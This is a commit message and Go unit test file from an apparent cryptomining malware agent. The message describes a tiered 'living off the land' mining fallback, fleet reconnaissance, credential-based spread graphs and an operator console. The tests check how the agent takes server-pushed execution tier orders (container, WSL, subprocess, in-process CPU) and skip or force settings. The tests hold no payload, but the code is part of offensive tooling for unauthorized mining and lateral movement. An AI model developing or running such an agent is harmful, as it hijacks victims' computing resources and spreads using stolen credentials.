Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/client/mining_policy_test.go

@@ -0,0 +1,61 @@
+package client
+
+import (
+	"encoding/json"
+	"testing"
+
+	"crypto-miner-agent/config"
+	"crypto-miner-agent/miner"
+)
+
+func TestMiningTierPolicyDefaultsWhenEmpty(t *testing.T) {
+	c := NewAgentClient(config.RuntimeConfig{})
+	policy := c.miningTierPolicy()
+	defaults := miner.DefaultMiningTierPolicy()
+	if len(policy.TierOrder) != len(defaults.TierOrder) {
+		t.Fatalf("tier order len=%d want %d", len(policy.TierOrder), len(defaults.TierOrder))
+	}
+	if policy.TierOrder[0] != defaults.TierOrder[0] {
+		t.Fatalf("first tier=%q want %q", policy.TierOrder[0], defaults.TierOrder[0])
+	}
+}
+
+func TestApplyAuthLotlPolicyFromServerTiers(t *testing.T) {
+	c := NewAgentClient(config.RuntimeConfig{})
+	c.applyAuthLotlPolicy(AuthResponse{
+		Success:        true,
+		LotlOnionTiers: []string{"container", "wsl", "cpu_inprocess"},
+	})
+	policy := c.miningTierPolicy()
+	want := []miner.LOTLTier{miner.TierContainer, miner.TierWSL, miner.TierCPUInprocess}
+	if len(policy.TierOrder) != len(want) {
+		t.Fatalf("order=%v want %v", policy.TierOrder, want)
+	}
+	for i := range want {
+		if policy.TierOrder[i] != want[i] {
+			t.Fatalf("order[%d]=%q want %q", i, policy.TierOrder[i], want[i])
+		}
+	}
+}
+
+func TestApplyMiningTierPolicyJSONSkipTiers(t *testing.T) {
+	c := NewAgentClient(config.RuntimeConfig{})
+	raw := json.RawMessage(`{"skip_tiers":["exe_subprocess","wsl"],"force_tier":"cpu_inprocess"}`)
+	c.applyMiningTierPolicyJSON(raw)
+	policy := c.miningTierPolicy()
+	if len(policy.SkipTiers) != 2 || policy.SkipTiers[0] != miner.TierExeSubprocess {
+		t.Fatalf("skip=%v", policy.SkipTiers)
+	}
+	if policy.ForceTier != miner.TierCPUInprocess {
+		t.Fatalf("force=%q", policy.ForceTier)
+	}
+}
+
+func TestApplyMiningTierPolicyJSONIgnoresInvalid(t *testing.T) {
+	c := NewAgentClient(config.RuntimeConfig{})
+	c.applyMiningTierPolicyJSON(json.RawMessage(`not-json`))
+	policy := c.miningTierPolicy()
+	if len(policy.TierOrder) == 0 {
+		t.Fatal("invalid JSON should leave defaults intact")
+	}
+}